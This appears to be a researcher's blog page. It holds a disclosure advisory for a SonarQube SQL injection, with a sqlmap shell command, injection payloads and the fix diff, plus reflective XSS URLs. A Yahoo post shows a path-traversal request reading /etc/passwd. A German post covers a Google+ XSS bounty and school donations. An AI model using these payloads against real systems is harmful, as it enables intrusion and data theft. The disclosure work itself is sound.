SonarQube/Sonar SQL Injection

Last year I found a exploitable boolean-based / AND/OR time-based blind SQL injection vulnerability in Sonatype SonarQube >=3.4 and < 3.6.1.

CVSS v2 Vector: (AV:N/AC:L/Au:N/C:P/I:P/A:C)
Overall Score: 9

SonarQube (formerly Sonar) is an open source platform for Continuous Inspection of code quality.

This is the first public advisory of the issue. This advisory includes a list of fixed and undisclosed XSS bugs in Sonar >=3.5.1.

  • 2013-04-31 Filled a bug in Sonar Jira [1]
  • 2013-05-01 SQL Injection reported via email to Freddy Mallet from Sonatype 
  • 2013-05-07 Bug confirmed by Freddy Mallet 
  • 2013-06-24 
    • Simon Brandhof started working on the issue
    • they planned to fix the bug in August 2013 with version 3.7
    • Issue silently fixed in their GitHub repo [2]
    • I told them that it is a bad idea to have a SQL injection fixed in the code without any advisory for the community.
  • 2013-06-28 They told me, they release in the next days a new version containing the fix
  • 2013-07-12 Sonar 3.6.1 released without security advisory or any mention of the bug in the Release Notes
In the last months they decided to delete the issue from Jira [4] but someone or a automated process added the issue to the OVSDB [5], but without any specific information about the bug.

After I figured out, that the bug is fixed in the Sonar GitHub repo I notified a friend from the Apache Software Foundation, because https://analysis.apache.org was running the vulnerable version of Sonar and the site was potentially in risk. Probably that's the reason why the bug is listed at OVSDB.

1. SQL Injection details

 The vulnerable part is the measure search function:

When we change the qualifiers[] GET parameter to a single back-tick ('), we can see a SQL syntax error in Sonar's logfile:

2013.05.01 12:34:57 ERROR o.s.MEASURE_FILTER  Fail to execute measure filter: MeasureFilterContext[filter={qualifiers='|c1_op=eq|c2_op=eq|c3_op=eq|display=list|cols=metric:alert_statusnamedatemetric:nclocmetric:violationslinks|sort=name|asc=true|pageSize=100},sql=SELECT s.id, s.project_id, s.root_project_id, p.long_name FROM snapshots s INNER JOIN projects p ON s.project_id=p.id  WHERE  s.status='P' AND s.islast=true AND p.copy_resource_id IS NULL  AND s.qualifier IN  (''') ,user=<null>]
com.mysql.jdbc.exceptions.jdbc4.MySQLSyntaxErrorException: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''')' at line 1

From here it's easy to exploit:

[nils@mac sqlmap]$ ./sqlmap.py -u '' -p 'qualifiers%5B%5D' --level 3 --risk 3 --sql-shell --dbms=mysql


GET parameter 'qualifiers[]' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection points with a total of 173 HTTP(s) requests:
Place: GET
Parameter: qualifiers[]
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: qualifiers[]=BRC') AND 8295=8295 AND ('KiEs'='KiEs&c1_op=eq&c2_op=eq&c3_op=eq&search=Search

    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: qualifiers[]=BRC') AND SLEEP(5) AND ('QxFe'='QxFe&c1_op=eq&c2_op=eq&c3_op=eq&search=Search
[14:23:09] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 5.0.11

Now we have a SQL shell to our database and we can run any query against the database:

[14:23:09] [INFO] calling MySQL shell. To quit type 'x' or 'q' and press ENTER
sql-shell> select login from users;
[14:23:28] [INFO] fetching SQL SELECT statement query output: 'select login from users'
[14:23:28] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[14:23:28] [INFO] retrieved: 1
the SQL query provided can return 1 entries. How many entries do you want to retrieve?
[a] All (default)
[#] Specific number
[q] Quit
> a
[14:23:32] [INFO] retrieved: admin
select login from users; [1]:
[*] admin


2. The fix [2]

@@ -210,9 +210,16 @@ private void appendResourceNameCondition(StringBuilder sb) {
    private static void appendInStatement(List<String> values, StringBuilder to) {
 -    to.append(" ('");
 -    to.append(StringUtils.join(values, "','"));
 -    to.append("') ");
 +    to.append(" (");
 +    for (int i=0 ; i<values.size() ; i++) {
 +      if (i>0) {
 +        to.append(",");
 +      }
 +      to.append("'");
 +      to.append(StringEscapeUtils.escapeSql(values.get(i)));
 +      to.append("'");
 +    }
 +    to.append(") ");

3. XSS in Sonar/SonarQube

In my discussion with Sonatype I've reported a lot of reflective and persistent XSS bugs and issues with missing CSRF tokens to the team. All issues are fixed silently fixed without a release note or a security advisory. I believe everything is fixed in Sonar >=3.7.

Reflective XSS:

  • /confirm?url=%22%3E%3Cscript%3Ealert(1)%3C/script%3E
  • /dependencies/index?search="><script>alert(1)</script>
  • /measures/search?qualifiers%5B%5D=</script><script>alert(1)</script>&c1_op=eq&c2_op=eq&c3_op=eq&search=Search
  • /reviews/index?review_id=846&statuses%5B%5D=REOPENED&severities%5B%5D=&projects%5B%5D=&author_login=&assignee_login="><script>alert(1)</script>&false_positives=without&sort=&asc=false&commit=Search (author_login as well)
Reflective XSS in POST requests:

POST /roles/projects?qualifier=TRK HTTP/1.1

POST /roles/projects?q=c 

Missing CSRF protection with XSS in result:


POST /roles/edit_users?redirect=global HTTP/1.1

3. Summary

Upgrade always to the latest version of SonarQube. Don't trust the changelog! Probably there is always a security fixed inside the package. Run your SonarQube instance only in your local network to prevent access from the public internet. Setup the SonarQube user management to prevent access from unauthorised users.


Yahoo, please start with a Vulnerability Reward Program

This wouldn't happen if Yahoo had a Vulnerability Reward Program like Google, Facebook, Mozilla, Paypal, Etsy, etc (list of reward programs @bugcrowd). Last year I discovered a LFI/Path Traversal vulnerability in a REST-API used by Yahoo Mail and I got a automated mail from their mailer. I refused to report more bugs to them because it's boring to talk with bots.

GET /v2/xframe/../../../../../../../etc/passwd?bc
Host: prod1.rest-notify.msg.yahoo.com

HTTP/1.1 200 OK
Connection: close
Expires: Thu, 15 Apr 2020 20:00:00 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 29676

root:*:0:0:Charlie &:/root:/usr/local/bin/bash
toor:*:0:0:Bourne-again Superuser:/root:/bin/sh
daemon:*:1:1:Owner of many system processes:/root:/sbin/nologin
operator:*:2:5:System &:/:/sbin/nologin

Some minutes later I got a automated reply from Yahoo Security Contact

Thank you for contacting Yahoo!.  These issues have been passed 
along to the correct teams to investigate.  Should a fix be required, 
we will again contact you and ask that you see the issues as resolved.

Thanks again,
Yahoo! Security Contact
Days later the issue was fixed. But no more replies from them!

Yahoo, please start with a Vulnerability Reward Program and get in touch with the community - before it's too late.


XSS bei Google - insgesamt $4600 für Schulen in Afrika

English version

Vor zwei Jahren startete Google sein Vulnerability Reward Program und bezahlt seitdem Findern sicherheitsrelevanter Fehler in seinen Web-Anwendungen Belohnungen. In Summe wurden bisher $704.909,50 (Stand Dez. 2012) ausbezahlt. Obwohl Google bei Spenden den eigentlichen Reward verdoppelt, wurden bisher lediglich $25.825 (Quelle S.42) an gemeinnützige Organisationen gespendet.

Letztes Jahr (Ethiopia gets a new school - thanks to a XSS in Google+) konnte ich, dank eines XSS Bugs auf Google+, eine Schule in Welkite/Äthiopien mit $2.600 unterstützen.

“Ich möchte Dir […] sehr für Dein Engagement danken. Deine/Die Spende von Google hat einen gewaltigen Entwicklungschritt möglich gemacht.” 

Hendrik Kempfert aus Hamburg von socialwaydown.com hat 2010 bei seinem Sabbatical (“Von Hamburg nach Capetown”) die Schule in Welkite besucht und viele Leute vor Ort kennengelernt. Inzwischen ist er mit den Projektinitiatoren eng befreundet. Hendrik konnte mir dann auch berichten, dass die Spende einen großen Fortschritt bewirkt hat.

Keita Haga aus Japan – ebenfalls Teilnehmer des Bounty Programms – spendete $1000 an das gleiche Projekt, was mich sehr gefreut hat.

Persistentes XSS bei Veranstaltungen in Google+ und bei Panoramio

Im Dezember 2012 hat mich Google für ein XSS bei Google+ und bei Panoramio mit jeweils $500 belohnt. Bei dem XSS in Google+ handelte es sich um ein persistent XSS in den Veranstaltungen (Events). Fügt man einen existierenden Ort zu einem Event hinzu, wird in einem Tooltip die genaue Adresse des Ortes angezeigt. Wichtig dabei, der Ort muss bereits bei Google vorhanden sein.

Suche nach einem Ort

Die Adresse wird beim Überfliegen mit der Maus in einem Tooltip angezeigt

Um die Adresse zu manipulieren, war es nötig, den entsprechenden POST Request zum Speichern des Events zu verändern. Am besten eignet sich dafür Burpsuite Pro oder ZAP Proxy vom OWASP Project.

Die Location selber wird durch eine ID festgelegt, der Name und die Adresse sind komplett veränderbar.

Nicht korrekt escaped war alles, was im Tooltip angezeigt wird. Es gab dann auch gleich sehr viele Snippets, auf denen das Event mit dem Tooltip angezeigt wurde, die dann auch entsprechend verwundbar waren.

Orte, an denen das XSS sichtbar war:

  • das Event teilen (dann steht es bei jedem Follower in der Timeline)
  • Benachrichtigung in der Notificationbar auf allen Google-Seiten mit der Menüleiste (document.domain für das iframe ist immer plus.google.com)
  • Benachrichtigungsmails im Gmail (ebenfalls als iframe)
  • auf der Event-Seite

Theoretisch hätte man mit diesem Fehler einen XSS-Wurm für Google+ bauen können – allerdings wäre durch den Tooltip noch ein wenig Nutzerinteraktion notwendig. Google hat den Fehler trotzdem innerhalb weniger Stunden geschlossen.

Ich habe auf Betterplace zwei spannende Projekte gefunden, die ich mit jeweils $1000 (753 €) unterstützen möchte. Beide Projekte versuchen Kindern eine Zukunft mit Bildung zu ermöglichen. Grundvoraussetzung dafür sind Gebäude und eine Umgebung, die zum Lernen geeignet ist.

$ 1000 für einen Kindergarten in Tomegbé / Togo

Aus der Projektbeschreibung für den neuen Kindergarten:

"Kindergarten für Togo" ist ein Projekt, welches von agbe e.V. und dem togoischen Partner Asmerade ins Leben gerufen wurde. Die Initiative stammt direkt aus der Bevölkerung von Tomegbé, die bei der Durch- und Weiterführung sehr stark beteiligt ist. Der Bauplan hierzu wurde von einem togoischen Architekturbüro erstellt und die drei Kindergärtnerinnen werden aus der Gemeinde von Tomegbé stammen.
Der Kindergarten wird für 120 Kinder einen Platz garantieren können. Doch nicht nur die Kinder profitieren davon, auch deren Mütter und damit die gesamte Gemeinschaft. Die wirtschaftliche Situation im Land ist sehr schlecht, die Mütter sind überlastet und die mangelhafte Hygiene lässt viele Kinder nicht einmal das Grundschulalter erleben. Die Gemeinde von Tomegbé sieht das Fehlen des Kindergartens als Schlüsselproblem einer besseren Zukunft an. 

$ 1000 für eine Grundschule in Ilketunjo / Äthiopien

Aus der Projektbeschreibung von Betterplace:

Die Kooperative Ilketunjo hat zwei Schulen, wobei insbesondere die weiter entlegene Schule – die sogenannte „Satellite School“ – unsere Hilfe benötigt. Das Gebäude der Schule besteht aus bereits zerfallenden Lehmwänden und einem Lehmboden, sanitäre Anlagen fehlen komplett. Die mangelnde Schulausstattung mit Möbeln wie Tischen, Bänken und Stühlen macht es fast unmöglich die rund 1.000 Kinder der Umgebung zu unterrichten.

Diese Situation führt dazu, dass die Schüler nur sehr widerwillig in die Schule gehen und oft über mehrere Tage nicht am Unterricht teilnehmen. Für uns ist es nur schwer vorstellbar, aber so lernen viele Kinder nicht einmal Grundlegendes wie lesen und schreiben.”

Betterplace die Crowdfunding Plattform für Hilfsprojekte

betterplace.org ist eine offene Spenden-Plattform im Internet. In Deutschland als gemeinnützig anerkannte Organisationen, aber auch andere Organisationen und Individualprojekte, können auf der Webseite um Geld-, Sach- oder Zeitspenden werben. Über betterplace.org wurden zwischen der Gründung 2007 und Ende April 2010 mehr als 2,5 Millionen Euro gespendet.

Ich würde mich freuen, wenn der eine oder andere auch seine Bug Bounty Rewards für eines der Projekte spendet.